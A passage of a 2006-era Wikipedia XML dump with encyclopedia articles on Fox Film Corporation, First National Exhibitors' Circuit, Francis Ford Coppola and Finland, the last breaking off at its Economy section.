      <text xml:space="preserve">The '''Fox Film Corporation''' was an [[United States|American]] company which produced [[film|motion pictures]], formed in [[1915 in film|1915]] when founder [[William Fox (producer)|William Fox]] merged two [[corporation|companies]] he had established in [[1913 in film|1913]]: Greater New York Film Rental, a distribution firm, which was part of the [[independent film|Independents]]; and Fox (or Box, depending on the source) Office Attractions Company, a production company. (see [[vertical integration]])

The company's first film studios were set up in [[Fort Lee, New Jersey]] but in 1917, William Fox sent [[Sol M. Wurtzel]] to [[Hollywood, California]] to oversee the studio's new [[West Coast of the United States|West Coast]] production facilities where a more hospitable and cost effective climate existed for filmmaking. On [[July 23]], [[1926 in film|1926]], the company bought the [[patent]]s of the [[Movietone sound system]] for recording sound on to [[film]].

William Fox lost control over the company after the [[Wall Street Crash 1929|Stock Market Crash of 1929]], in [[1930]], during a hostile takeover. Under new president [[Sidney Kent]], the new owners later merged the company with [[Twentieth Century Pictures]] to form [[20th Century Fox]].

{{film-studio-stub}}

[[Category:Film production companies]]
[[Category:Film distributors]]
[[Category:Movie studios]]
[[Category:Entertainment companies of the United States]]
[[Category:Defunct American movie studios]]
[[Category:News Corporation subsidiaries]]

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      <text xml:space="preserve">:''For the defunct Canadian television newscast, see [[First National (television show)]].''

The '''First National Exhibitors' Circuit''' was founded 1917 by the merger of 26 of the biggest First Run cinema chains in the [[United States|United States of America]], controlling more than 600 cinemas, more than 200 of them were First Run cinemas. The foundation, an initiative by [[Thomas L. Tally]], was a reaction to the overwhelming influence of [[Paramount Pictures]], which dominated the market. First National was set up to combine the financial power of the involved firms, to buy stars, to finance their movies and to gain the right to distribute them later. Between 1917 and 1918, they made contracts with [[Mary Pickford]] and [[Charlie Chaplin]], the first million dollar deals in the history of film.

First National's financial power and its control over the lucrative First Run cinemas posed a threat to Paramount so it decided to enter the cinema business. With a sum of ten million dollars they built their own chain of First Run houses and, after a secret plan to merge with First National failed (which led to the foundation of [[United Artists]], and to the loss of First National's biggest stars). In the early twenties, Paramount attempted a hostile takeover, buying one of First National's member firms after the other.  First National built its massive studio lot in [[Burbank, Los Angeles County, California|Burbank]] in 1926.  First National Pictures was purchased by [[Warner Bros.]] in 1929.  For many years afterwards, some Warner Bros. films bore the words &quot;A Warner Bros.-First National Picture.&quot;

In 2002, Ryan Kugler (www.ryankugler.com), president and owner of Distribution Video &amp; Audio (www.dva.com), a company which specializing in acquiring excess inventory and close-out properties in the entertainment industry bought the name and resurrected First National Pictures (www.fnp.com) as a DVD label which will license and distribute branded and Children's DVDs and digital content.

[http://www.example.com link title]
==Sources==
*[http://www.firstnationalpictures.com/about_us.html About Us] Accessed 10/08/2005
*[http://www.firstnationalpictures.com/press_releases.php Press Releases] Accessed 10/08/2005

[[Category:Film production companies]]
[[Category:Film distributors]]
[[Category:Entertainment companies of the United States]]
[[Category:Defunct American movie studios]]

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    <title>Francis Ford Coppola</title>
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      <comment>/* Selected filmography */</comment>
      <text xml:space="preserve">[[Image:Francis Ford Coppola(CannesPhotoCall).jpg|thumb|250px|Francis Ford Coppola at [[Cannes Film Festival|Cannes]] [[2001 in film|2001]]]]

'''Francis Ford Coppola''' (born [[April 7]], [[1939]]) is an [[United States|American]] [[film director]], [[screenwriter]], [[vintner]], [[publisher|magazine publisher]], and [[hotelier]], most renowned for directing the highly regarded ''[[The Godfather|Godfather]]'' trilogy and the [[Vietnam War]] [[Epic film|epic]] ''[[Apocalypse Now]]''.

==Life and Career (1960 to 1978)==
Coppola was born into a creative and supportive [[Italian American]] family in [[Detroit, Michigan]], but he grew up in a New York suburb. His father [[Carmine Coppola]], was a a composer and musician. His mother is alleged to have been an actress, but this is not fact. He studied theatre at [[ Hofstra University]] prior to studying film at [[UCLA]] and while there, he made numerous short films, including some soft core porn films. In the early 1960s, he started his professional career making low-budget films with [[Roger Corman]] and writing screenplays. His first notable motion picture was made for Corman, the low-budget ''[[Dementia 13]]'' (which is available on video).

[[Image:Coppola1.jpg|thumb|On the set of ''Finian's Rainbow'' with Petula Clark]]After graduating to mainstream motion pictures with ''[[You're a Big Boy Now]]'', Coppola was offered the reins of the movie version of the [[Broadway theatre|Broadway]] musical ''[[Finian's Rainbow]]'', starring [[Petula Clark]], in her first American film, and veteran [[Fred Astaire]]. Producer [[Jack Warner]] was nonplussed by Coppola's shaggy-haired, bearded, &quot;hippie&quot; appearance and generally left him to his own devices. He took his cast to the [[Napa Valley]] for much of the outdoor shooting, but these scenes were in sharp contrast to those obviously filmed on a Hollywood soundstage, resulting in a disjointed look to the film. Dealing with outdated material at a time when the popularity of film musicals was already on the downslide, Coppola's end result was only semi-successful, but his work with Clark no doubt contributed to her [[Golden Globe Award|Golden Globe]] Best Actress nomination.

In 1971, Coppola won an [[Academy Award]] for his screenplay for ''[[Patton (film)|Patton]]''. However, his name as a filmmaker was made as the co-writer and director of ''[[The Godfather]]'' ([[1972]]) and ''[[The Godfather Part II]]'' ([[1974]]), which both won the [[Academy Award for Best Picture]] &amp;mdash; the latter being the first sequel to do so.

In between ''The Godfather'' and ''The Godfather Part II'', Coppola directed ''[[The Conversation]]'', a story of a paranoid wiretapping and surveillance expert (played by [[Gene Hackman]]) who finds himself caught up in a possible murder plot. ''The Conversation'' was released to theaters in 1974 and was also nominated for Best Picture, resulting in Coppola being the first filmmaker to have directed two films competing for the same Best Picture Oscar since the annual number of nominees was cut down to five in 1945. (This had previously been accomplished seven times, by six different directors, between 1937 and 1943, when the Academy announced ten nominees yearly. Coppola's feat would later be matched by [[Herbert Ross]] in 1978, with ''[[The Goodbye Girl]]'' and ''[[The Turning Point]]'', and [[Steven Soderbergh]] in 2001, with ''[[Erin Brockovich]]'' and ''[[Traffic (2000 movie)|Traffic]]''.)  While ''The Godfather Part II'' won the Oscar, ''The Conversation'' won the 1974 ''[[Palme d'Or]]'' at the [[Cannes Film Festival]].

During this period he also wrote the screenplay for the critically and commercially unsuccessful [[1974]] [[film adaptation|adaptation]] of [[F. Scott Fitzgerald]]'s [[novel]] ''[[The Great Gatsby]]'' (starring [[Mia Farrow]] and [[Robert Redford]]) and produced [[George Lucas]]'s breakthrough film, ''[[American Graffiti]]''.

==Career: 1979 to present==
Following the success of ''The Godfather'' and its sequel, Coppola set about filming ''[[Apocalypse Now]]'', an ambitious version of [[Joseph Conrad]]'s ''[[Heart of Darkness]]'', with the setting changed from colonial Africa to the [[Vietnam War]]. Before setting off to make the film, Coppola went to his mentor Roger Corman for advice about shooting in the Philippines, since Corman himself was familiar with shooting a film in that area. It was said that all Corman advised Coppola was &quot;Don't go&quot;. The creation of the film was a disaster from the start, being beset by numerous problems, including [[typhoon]]s, [[nervous breakdown]]s, [[Martin Sheen]]'s heart attack, and an unprepared [[Marlon Brando]] with a bloated appearance (which Coppola attempted to hide by shooting him in the shadows). It was delayed so often it was nicknamed ''Apocalypse Whenever''. The film was equally lauded and hated by critics when it finally appeared in [[1979]], and the cost nearly bankrupted Coppola's nascent studio [[American Zoetrope]]. However, like [[Citizen Kane]], reputation has grown in time and [[Apocalypse Now]] is regarded by many as a masterpiece of the [[New Hollywood]] era. [[Roger Ebert]] considers it to be the finest film on the Vietnam war and included it on his list for the [[2002]] [[Sight and Sound]] poll for the greatest movie of all time. However to many Apocalypse Now represents Coppola's highpoint. A feat he has been unable to equal or exceed ever since. The [[1991]] [[documentary film]] ''[[Hearts of Darkness: A Filmmaker's Apocalypse]]'', directed by [[Eleanor Coppola]] (Francis's wife), [[Fax Bahr]], and [[George Hickenlooper]], chronicles the difficulties the crew went through making ''Apocalypse Now'', and features behind the scenes footage filmed by Eleanor.

[[Image:Movie_eo_lucas_jackson_coppola.jpg|left|250px|thumb|[[George Lucas]], [[Michael Jackson]] and Francis Ford Coppola filming ''[[Captain EO]]'']]Despite the setbacks and ill health Coppola suffered during the making of ''Apocalypse Now'', he kept up with film projects, presenting in [[1981]] a restoration of the [[1927]] film ''[[Napoléon (movie)|Napoléon]]'' that was edited and released in the [[United States]] by American Zoetrope. However it wasn't until the experimental musical ''[[One from the Heart]]'' ([[1982]]) that he returned to directing. Unfortunately, the film was a huge failure, although it developed a cult following in later years.

In [[1986]] Coppola, with [[George Lucas]], directed the [[Michael Jackson]] film for [[The Walt Disney Company|Disney]] theme parks, ''[[Captain Eo]]'', which at the time was the most expensive film per minute ever made.

In [[1990]] he completed the ''Godfather'' series with ''[[The Godfather Part III]]'' which, while not as critically acclaimed as the first two movies, was still a box office success. Some reviewers criticized the casting of Coppola's daughter [[Sofia Coppola|Sofia]], who stepped into a role abandoned by [[Winona Ryder]] just as filming began. Sofia Coppola had previously appeared in her father's films, including a memorable performance as the younger sister in [[Peggy Sue Got Married]], but her performance in ''The Godfather Part III'' was subjected to critical ridicule, much of it mean-spirited. Sofia Coppola has since gone on to become a well-respected director in her own right.

Son [[Roman Coppola]] is also a filmmaker, directing his first feature film, ''[[CQ (film)|CQ]]''.

Coppola's father [[Carmine Coppola|Carmine]] was a renowned composer and musician, and wrote the scores of many of his son's films; his nephew [[Nicolas Cage]] is an acclaimed actor.

In recent years, Coppola with his family has extended his talents to [[winemaking]] in [[California]]'s [[Napa Valley]] at the [[Niebaum-Coppola Winery]], producing a line of specialty pastas and pasta sauces, and opening resorts in [[Guatemala]] and [[Belize]], inspired by his accommodation in the [[Philippines]] during the making of ''Apocalypse Now'', with decor supervised by Eleanor Coppola.

In 1997, Coppola founded [[Zoetrope All-Story]], a flashy [[literary magazine]] that publishes [[short story|short stories]]. The magazine has published fiction by [[T.C. Boyle]] and [[Amy Bloom]] and essays by [[David Mamet]], [[Steven Spielberg]], and [[Salman Rushdie]]. Since its founding, the magazine has grown in reputation to become one of the premier American journals of [[literary fiction]]. Coppola serves as founding editor and publisher of All-Story.

The director is based in the [[San Francisco Bay Area]] where he co-owns the Rubicon restaurant alongside fellow San Franciscan [[Robin Williams]] and [[Robert De Niro]]. In addition to his restaurant, Coppola serves as the Honorary Ambassador of the Central American nation of [[Belize]] in [[San Francisco]], [[California]]. On their official roster of worldwide honorary consulates found on their official website, he is referred to as &quot;''His Excellency Ambassador Francis Ford Coppola'',&quot; although he is not a [[Belizean]] citizen.

Recently, during November 2005, Coppola took part as a special guest in the 46th [[Thessaloniki]] Film Festival, in northern [[Greece]].

==Selected filmography==
*''[[Kinsey_(movie)|Kinsey]]'' (2005, co-producer)
*''[[Sleepy Hollow]]'' (1999, executive producer)
*''[[The Rainmaker (1997 film)|The Rainmaker]]'' (1997, director)
*''[[Jack (movie)|Jack]]'' (1996, director)
*''[[My Family, Mi Familia]]'' (1995, executive producer)
*''[[Mary Shelley's Frankenstein]]''(1994, executive producer)
*''[[The Secret Garden (film)|The Secret Garden]]'' (1993, executive producer)
*''[[Bram Stoker's Dracula]]'' (1992, director)
*''[[The Godfather: Part III]]'' (1990, director)
*''[[Tucker: The Man and His Dream]]'' (1988, director)
*''[[Gardens of Stone]]'' (1987, director)
*''[[Peggy Sue Got Married]]'' (1986, director)
*''[[Captain Eo]]'' (1986, director)
*''[[The Cotton Club]]'' (1984, director)
*''[[Rumble Fish]]'' (1983, director)
*''[[The Outsiders (film)|The Outsiders]]'' (1983, director)
*''[[One from the Heart]]'' (1982, director)
*''[[Apocalypse Now]]'' (1979, director)
*''[[The Godfather, Part II]]'' (1974, director)
*''[[The Conversation]]'' (1974, director)
*''[[The Godfather]]'' (1972, director)
*''[[THX 1138]]'' (1971, executive producer)
*''[[The Rain People]]'' (1969, director)
*''[[Finian's Rainbow]]'' (1968, director)
*''[[You're a Big Boy Now]]'' (1966, director)
*''[[Dementia 13]]'' (1963, director)
*''[[The Terror (1963 film)|The Terror]]'' (1963, uncredited director)

==Trivia==
He has been granted the title of &quot;duke of Megalopolis&quot; by the Spanish writer [[Javier Marías]], claimant to the [[micronation]] of the [[kingdom of Redonda]].

[[George Lucas]] reportedly based the [[Han Solo]] character on Coppola.

The italian word ''coppola'' stands for the typicaly sicilian cloth cap that can been seen in many mafia films.

==External links==
{{commons|Francis Ford Coppola}}
*[http://www.freeinfosociety.com/site.php?postnum=94 Biography and Pictures]
*[http://www.lib.berkeley.edu/MRC/CoppolaBib.html Bibliography at the University of California Berkeley Library]
*{{imdb name | id=0000338 | name=Francis Ford Coppola}}
*[http://www.niebaum-coppola.com/site.php Niebaum-Coppola Winery, Napa Valley]
*[http://www.24liesasecond.com/site2/index.php?page=2&amp;task=index_onearticle.php&amp;Column_Id=82 Altman and Coppola in the Seventies: Power and the People] Essay (24 Lies A Second)
*[http://www.belize.gov.bz/honorary_consul.html  Official Belize Government's website on honorary consulates worldwide]


[[Category:1939 births|Coppola, Francis Ford]]
[[Category:American film directors|Coppola, Francis Ford]]
[[Category:American screenwriters|Coppola, Francis Ford]]
[[Category:Best Director Oscar|Coppola, Francis Ford]]
[[Category:Italian-Americans|Coppola, Francis Ford]]
[[Category:People from Detroit, Michigan|Coppola, Francis Ford]]
[[Category:Roman Catholic entertainers|Coppola, Francis Ford]]
[[Category:Viticulturists|Coppola, Francis Ford]]
[[Category:Living people|Coppola, Francis Ford]]

[[da:Francis Ford Coppola]]
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[[es:Francis Ford Coppola]]
[[fa:فرانسیس فورد كاپولا]]
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[[he:פרנסיס פורד קופולה]]
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[[ja:フランシス・フォード・コッポラ]]
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[[zh:弗朗西斯·科波拉]]</text>
    </revision>
  </page>
  <page>
    <title>Finland</title>
    <id>10577</id>
    <revision>
      <id>42028004</id>
      <timestamp>2006-03-03T08:32:56Z</timestamp>
      <contributor>
        <username>Ixfd64</username>
        <id>6284</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/84.230.253.65|84.230.253.65]] ([[User talk:84.230.253.65|talk]]) to last version by Vuo</comment>
      <text xml:space="preserve">{{Infobox_Country|
|native_name = Suomen tasavalta&lt;br&gt;Republiken Finland&lt;br&gt;Republic of Finland
|common_name = Finland
|image_flag = Flag of Finland.svg
|image_coat = PB Finland CoA.png
|image_map = LocationFinland.png
|national_motto = none
|national_anthem = [[Maamme]]  (Finnish) / Vårt land (Swedish)
|official_languages = [[Finnish language|Finnish]], [[Swedish language|Swedish]]
|capital = [[Helsinki]]
|latd=60 |latm=10 |latNS=N |longd=24 |longm=56 |longEW=E |
|largest_city = [[Helsinki]]
|government_type = [[Parliamentary democracy]]
|leader_titles = [[President of Finland]]&lt;br&gt;[[Prime Minister of Finland]]
|leader_names = [[Tarja Halonen]]&lt;br&gt;[[Matti Vanhanen]]
|
|area_rank = 65th
|area_magnitude = 1 E11
|area= 338,145
|percent_water = 9.4%
|population_estimate = 5,261,008
|population_estimate_rank = 110th
|population_estimate_year = 2005
|population_census = 
|population_census_year = 
|population_density = 15
|population_density_rank = 162nd
|GDP_PPP = $152,955,000,000
|GDP_PPP_rank = 48th
|GDP_PPP_year= 2004
|GDP_PPP_per_capita = $29,305
|GDP_PPP_per_capita_rank = 16th
|sovereignty_type = [[History of Finland|Independence]]
|established_events = Declared&lt;br&gt;Recognized
|established_dates = From [[Imperial Russia]]&lt;br&gt;[[December 6]], [[1917]]&lt;br&gt;[[January 3]], [[1918]]
|HDI = 0.941
|HDI_rank = 13th
|HDI_year = 2005
|HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;
|currency = Euro (€)&lt;sup&gt;1&lt;/sup&gt;
|currency_code = EUR
|country_code = 
|time_zone = [[Eastern European Time|EET]]
|utc_offset = +2
|time_zone_DST = [[Eastern European Summer Time|EEST]]
|utc_offset_DST = +3
|cctld = [[.fi]]
|calling_code = 358
|footnotes = &lt;sup&gt;1&lt;/sup&gt;Prior to 1999: [[Finnish markka]]
}}
{{For|an alternative usage of the Finnish word &quot;suomi&quot;|Finnish language}}

The '''Republic of Finland''' ([[Finnish language|Finnish]]: ''Suomen tasavalta'' [[Finland-Swedish|Swedish]]: ''Republiken Finland'') is a [[Nordic countries|Nordic country]] in northeastern [[Europe]], bounded by the [[Baltic Sea]] to the southwest, the [[Gulf of Finland]] to the south and the [[Gulf of Bothnia]] to the west. Finland has land frontiers with [[Sweden]], [[Norway]] and [[Russia]]. The [[Åland|Åland Islands]], off the southwestern coast, are under Finnish [[sovereignty]] while enjoying extensive [[self-governance|autonomy]]. The commonly used Finnish name for the country is '''Suomi''', the Swedish name '''Finland'''. (In [[Latin language|Latin]], Finland is '''Fennia''', which is used in scientific naming.)

Finland has a population of five million people spread over more than 330,000 square kilometres (127,000 square miles). Being sparsely populated, the country ranks [[List of countries by population density|162nd]] in population density. 

Finland is ranked thirteenth on the 2005 [[United Nations]] [[Human Development Index]].

==History==

''Main article: [[History of Finland]]''

Conclusive [[archaeological]] evidence exists indicating that the area now comprising Finland was settled around [[8th millennium BC|8500 BC]], during the [[Stone Age]], as the inland ice of the last [[ice age]] receded. The earliest people were [[hunter-gatherer]]s, living primarily off what the tundra and sea could offer. [[Pottery]] is known from around [[6th millennium BC|5300 BC]]. The existence of extensive exchange systems is indicated by the spread of [[asbestos]] and [[soapstone]] from eastern Finland, and by finds of [[flint]] from southern Scandinavia and Russia, [[chisel]]s from [[Lake Onega]], and spearheads from northern Scandinavia. It is probable that the speakers of the [[Finno-Ugric]] language arrived in Finland during the Stone Age, and were possibly even among the first [[Mesolithic]] settlers. The arrival of the [[Battle-axe people|Battle-Axe Culture]] (or Cord-Ceramic Culture) in southern Finland around [[3200 BC]] like coincided with the start of [[agriculture]]. However, [[hunting]] and [[fishing]] continued to be important parts of the subsistence economy, especially in the northern and eastern parts of the country.

The [[Bronze Age]] (1500&amp;ndash;500 BC) and [[Iron Age]] (500 BC&amp;ndash;AD 1200) were characterized by extensive contacts with [[Scandinavia]], northern [[Russia]] and the Baltic region.  Several writings about the Finnish history before the [[13th century]] - among them many Scandinavian sagas - refer to the ''Finnish kings'', their wars and accomplishments.  In this context often the references speak of '''[[Kvens]]''', that is Finns and their descendants in the northernmost part of Scandinavia. 

The beginning of Finland's nearly 700-year association with the Kingdom of [[Sweden]] is traditionally connected with the year 1154 and the hypothesized [[Christianization|introduction of Christianity]] by Sweden's [[Eric IX of Sweden|King Erik]]. However, archeological evidence points to prior Christian influences in southwestern and southeastern Finland. Historically the union began upon [[Birger Jarl]]'s expedition to Finland in 1249. [[Finland-Swedish|Swedish]] became the dominant language of administration and education; [[Finnish language|Finnish]] chiefly a language for the [[peasantry]], [[clergy]] and local courts in predominantly Finnish-speaking areas. Not until the 16th century were the first written works published in Finnish by [[Mikael Agricola]].
{{portal}}
The Swedish Kingdom strove to push the borders eastward, which led to wars of varying success with [[Novgorod Republic|Novgorod]]. The expansion was halted by the unification of [[Russian Empire|Russia]] and was eventually rolled back. During the 18th century, virtually all of Finland was twice occupied by Russian forces (1714&amp;ndash;1721 and 1742&amp;ndash;1743), known by the Finns as the [[Greater Wrath]] and the [[Lesser Wrath]]. After that, &quot;Finland&quot; became the predominant term for the area &amp;mdash; both in domestic Swedish debate and by Russians promising protection from &quot;Swedish oppression.&quot;

In 1808, Finland was conquered by the armies of [[Alexander I of Russia|Russian Emperor Alexander I]] and thereafter remained an autonomous [[Grand Duchy of Finland|Grand Duchy]] of the Russian Empire until the end of 1917. To sever the cultural and emotional ties with Sweden, the Finnish language was ardently promoted by both the imperial court and the Finnish government and a strong [[ethnic nationalism|nationalist]] movement, known as [[fennoman]]ia, starting in the 1860s. Milestones included the publication of what would become Finland's [[national epic]], the [[Kalevala]], in 1835; and the Finnish language achieving legally status equal with Swedish in 1892.

On [[December 6]], [[1917]], shortly after the [[Bolshevik Revolution]] in Russia, [[Finland's declaration of independence|Finland declared its independence]]. The independence was approved by [[Bolshevist Russia]], but the civil wars that followed [[Russian Civil War|in Russia]] and [[Finnish Civil War|in Finland]], and [[nationalist activism|activist]] expeditions (called [[Heimosodat (Finland)|Heimosodat]], or &quot;tribal wars&quot; in Finnish), including the [[Viena expedition|to White Karelia]] and [[Aunus expedition|to Aunus]], complicated relations.

In 1918, the country experienced a brief but bitter [[Finnish Civil War|Civil War]] that coloured domestic politics for many years. The Civil War was fought between &quot;the whites&quot;, who gained support from [[Imperial Germany]], and &quot;the reds&quot;, supported by Bolshevist Russia. The reds consisted mostly of leftist property–less rural and industrial workers who, despite [[universal suffrage]] in 1906, felt that they lacked political influence. The white forces were mostly made up of bourgeoisie and wealthy peasantry, politically more to the right. Eventually, the whites overcame the reds.

The Finnish&amp;ndash;Russian border was agreed to in the [[Treaty of Tartu]] in 1920, largely following the historic border but granting [[Petsamo]] and its [[Barents Sea]] harbour to Finland.
[[Image:Finnish_Soldiers_Skiing.jpg|thumb|right|Defending the country against foreign invaders has been a major issue.]]

During [[World War II]], Finland fought the [[Soviet Union]] twice: in the [[Winter War]] of 1939&amp;ndash;1940 and in the [[Continuation War]] of 1941&amp;ndash;1944, in time closely following [[Operation Barbarossa]], the [[Nazi Germany|German]] invasion of the Soviet Union. This was followed by the [[Lapland War]] of 1944&amp;ndash;1945, when Finland forced the Germans out of northern Finland.

Treaties signed in 1947 and 1948 with the Soviet Union included obligations, restraints and reparations on Finland vis-à-vis the Soviet Union as well as further territorial concessions by Finland (compared to the [[Moscow Peace Treaty (1940)|Moscow Peace Treaty of 1940]]). Finland ceded most of [[Finnish Karelia]], [[Salla]] and Petsamo. The reparations to Soviet Union forced Finland to transform from primarily agrarian to industrialized economy, after they were paid Finland continued to supply Soviet Union. (Russia has assumed a large part of the unpaid national debt which is slowly being remunerated with raw materials(oil, ores) and electricity)

After the Second World War, Finland was in the grey zone between western countries and Soviet Union. The &quot;[[YYA Treaty]]&quot; (Finno-Soviet Pact of Friendship, Cooperation, and Mutual Assistance) gave the Soviet Union some leverage in Finnish domestic politics and included a guarantee whereby Finland promised to defend her territory and airspace against [[Germany]] or her allies, in practice [[NATO]]. Many politicians, like [[Urho Kekkonen|President Kekkonen]] (1956&amp;ndash;[[1981|81]]), used their relations with Moscow to solve party controversies, which meant that the Soviet Union gained even more influence; other people worked single-mindedly to oppose the Kremlin. The society had also a strong tendency of self-censorship regarding the Fenno-Soviet relations and Soviet Union and the press was often reprimanded or given instructions in handling issues related to the Soviet Union. There was virtually no critizism or objective discussion of communism or Soviet Union in Finland during those years. This phenomenon of self-censorship was given the name [[finlandisation]] by German press. However, Finland maintained a democratic government and market economy, unlike other countries bordering the Soviet Union.

The post-war era was a period of rapid economic growth and increasing wealth and stability for Finland. The war-ravaged agrarian country was transformed into a technologically advanced market economy with a sophisticated social welfare system.

When the [[fall of the Soviet Union|Soviet Union fell]] in 1991 Finland was surprised and suffered economically, but was free to follow her own course and joined the [[European Union]] in 1995, where Finland is an advocate of [[federalism]] contrary to the other [[Nordic countries]] that are predominantly supportive of [[confederalism]].

==Etymology==
The name ''Suomi'' has uncertain origins, but a strong candidate is Baltic ''zheme'' &quot;ground, earth, country&quot;, which is consistent with Finnic peoples traditionally calling themselves ''maaväki'' &quot;country people&quot;. Furthermore, ''suo'' means &quot;bog&quot;, which is the characteristic biotype of Finland.

The exonym ''Finland'', which not found in Finnish, has resemblance with e.g. the [[Scandinavian languages|Scandinavian]] [[placename]]s [[Finnmark]], [[Finnveden]] and [[Finnskogen]] and all are thought to be derived from ''finn'', an ancient Germanic word for [[nomadic]] &quot;[[hunter-gatherer]]s&quot; (as opposed to sedentary farmers). This would explain the connection between these names and the modern nation called [[Finns]], a few of whom were nomadic or semi-nomadic until the [[Middle Ages]] beside the farming majority.

== Politics==
[[Image:Stairs_of_Finnish_Parliament.jpg|thumb|[[Finnish Parliament]] House in [[Helsinki]]]]
''Main article: [[Politics of Finland]]''

Finland has a [[semi-presidential system]] with [[Parliamentarism]]. The [[President of Finland]] is formally responsible for [[Foreign policy of Finland|foreign policy]]. Most executive power lies in the [[cabinet (government)|cabinet]] (the [[Finnish Council of State]]) headed by the [[Prime Minister of Finland|prime minister]] chosen by the [[Parliament of Finland|parliament]].  The Council of State is made up of the prime minister and the ministers for the various departments of the central government as well as an ex-officio member, the [[Chancellor of Justice#Finland|Chancellor of Justice]].

The 200-member [[unicameral]] [[Parliament of Finland]] is called the ''Eduskunta'' (Finnish) or ''Riksdag'' (Swedish). It is the supreme legislative authority in Finland. The parliament may alter the [[Constitution of Finland]], bring about the resignation of the Council of State, and override presidential vetoes. Its acts are not subject to judicial review. [[Legislation]] may be initiated by the Council of State, or one of the Eduskunta members, who are elected for a four-year term  on the basis of proportional representation through [[open list]] multimember districts.

The [[judicial system of Finland]] is divided between [[court (judicial)|courts]] with regular civil and criminal jurisdiction and administrative courts with responsibility for litigation between the individuals and the administrative organs of the state and the communities. Their jurisdiction can be illustrated with an example: Parents unsatisfied with the school placement of their child would appeal against the board of education in an administrative court as the school placement is subject to an administrative decision. Finnish law is codified and its court system consists of local courts, regional appellate courts, and the [[Judicial system of Finland#Supreme Court|Supreme Court]]. The administrative branch of justice consists of administrative courts and the [[Judicial system of Finland#Supreme Administrative Court|Supreme Administrative Court]]. The administrative process has more popularity as it is cheaper and has lower financial risk to the person making claims. In addition to the regular courts, there are a few special courts in certain branches of administration. There is also a [[Judicial system of Finland#High Court of Impeachment|High Court of Impeachment]] for criminal charges (for an offence in office) against the President of the Republic, the justices of the supreme courts, members the Council of State, the [[Chancellor of Justice#Finland|Chancellor of Justice]] and the [[Ombudsman#Finland|Ombudsman]] of Parliament.

The parliament has, since [[equal and common suffrage]] was introduced in 1906, been dominated by [[National Coalition Party (Finland)|secular Conservatives]], [[Centre Party of Finland|the Centre Party (former Agrarian Union)]], and [[Social Democratic Party of Finland|Social Democrats]]. After 1944 [[Communist Party of Finland|Communists]] were a factor to consider for few decades. The [[Swedish People's Party in Finland|Swedish People's Party]] represents Finland Swedes, especially in language politics. The relative strengths of the parties vary only slightly in the elections due to the proportional election from multimember districts but there are some visible long-term trends. 

It should be noted that the Finnish political system remained democratic during the [[Cold War]], although the political atmosphere was largely influenced by the neighbouring [[Soviet Union]] and a certain degree of self-censorship.

The [[constitution of Finland]] and its place in the judicial system are unusual in that there is no constitutional court and the supreme court does not have an explicit right to declare a law unconstitutional.  In principle, the constitutionality of laws in Finland is verified by a simple vote in the parliament. However, the Constitutional Law Committee of the parliament reviews any doubtful bills and recommends changes, if needed. In practice, the Constitutional Law Committee fulfils the duties of the constitutional court. A Finnish peculiarity is the possibility to make exceptions to the constitution in usual laws that are enacted in the same procedure as constitutional amendments. An example of such law is the State of Preparedness Act which gives the Council of State certain exceptional powers in cases of national emergency. As these powers, which correspond the US executive orders, affect the constitutional basic rights, the law was enacted in the same manner as a constitutional amendment. However, it can be repealed in the same manner as a usual law.  In addition to the preview of the Constitutional Law Committee, all Finnish courts of law have the obligation to give precedence to the constitution when there is an obvious conflict between the constitution and a regular law. That is, however, very rare. The only other European countries that lack a constitutional court are the [[Netherlands]] and the [[United Kingdom]] (which does not have a codified constitution).

== Subdivisions ==
''Main articles:[[Subdivisions of Finland]], [[Provinces of Finland]], [[Historical provinces of Finland]]''
[[Image:Map of Finland with provinces (numbered).png|right|Provinces of Finland]]
Today, Finland has [[Provinces of Finland|6 administrative provinces]] ''(lääni, [[plural|pl.]] läänit)'' The provinces are further divided in 90 [[State Local Districts of Finland|state local districts]]. 
The province authority is part of the executive branch of the national government; a system that had not changed drastically since its creation in 1634 to the new division to &quot;greater provinces&quot; in 1997. Since then, the six provinces are:

# [[Southern Finland]]
# [[Western Finland]]
# [[Eastern Finland]]
# [[Oulu Province|Oulu]]
# [[Lapland, Finland|Lapland]]
# [[Åland]]

The [[Åland|Åland Islands]] enjoy a degree of [[self-governance|autonomy]]. According to international treaties and Finnish laws, the regional government for Åland handles some matters which belong to the province authority in [[Mainland Finland]].

Another kind of provinces are those echoing the pattern of colonisation of Finland. [[Dialect]]s, [[folklore]], [[Convention (philosophy and social sciences)|customs]] and people's feeling of affiliation are associated with these [[historical provinces of Finland]], although the re-settlement of 420,000 [[Karelia]]ns during [[World War II]] and [[urbanization]] in the latter half of the 20th century have made differences less pronounced.

Local government is further organised in 432 (1.1.2005) [[municipalities of Finland]]. Since 1977, no legal or administrative distinction is made between [[List of towns in Finland|towns]], cities and other municipalities. The municipalities co-operate in 20 [[regions of Finland]]. There are also 74 [[Sub-regions of Finland|sub-regions]] with similar tasks as the regions.

== Geography ==
[[Image:P%C3%A4ij%C3%A4nne_and_p%C3%A4ij%C3%A4tsalo.jpg|thumb|right|[[Päijänne]], one the largest lakes.]]
[[Image:Nakyma_ukkokolilta.jpg|thumb|right|[[Koli]], one of the many national parks.]]
''Main article: [[Geography of Finland]]''

Finland is a country of thousands of lakes and islands; 187,888 lakes and 179,584 islands to be precise. One of these lakes, [[Saimaa]], is the 5th largest in Europe. The Finnish landscape is mostly flat with few hills and its highest point, the [[Haltitunturi]] at 1,328 metres (4,357 [[foot (unit of length)|ft]]), is found in the extreme north of [[Lapland]]. Beside the many lakes the landscape is dominated by extensive [[boreal]] forests (about 68 percent of land area) and little [[arable land]]. The greater part of the islands are found in southwest, part of the [[archipelago]] of the [[Åland|Åland Islands]], and along the southern coast in the [[Gulf of Finland]]. Finland is one of the few countries in the world that are still growing. Owing to the [[isostatic uplift]] that has been taking place since the last [[ice age]], the surface area of the country is growing by about 7 square kilometres (2.7 [[square mile|sq mi]]) a year.

The [[climate]] in Southern Finland is a northern [[temperate climate]]. In Northern Finland, particularly in the [[Lapland, Finland|Province of Lapland]], a [[subarctic climate]] dominates, characterised by cold, occasionally severe, winters and relatively warm summers. Finland is near enough to the Atlantic to be continuously warmed by the [[Gulf stream]], which explains the unusually warm climate considering the absolute latitude.

A quarter of Finland's territory lies above the [[Arctic Circle]], and as a consequence the [[midnight sun]] can be experienced &amp;mdash; for more and more days, the further up north one comes. At Finland's northernmost point, the sun does not set for 73 days during summer, and does not rise at all for 51 days in winter.

See also: [[List of towns in Finland]], [[Population of Finland]], [[List of lakes in Finland]]

== Economy ==
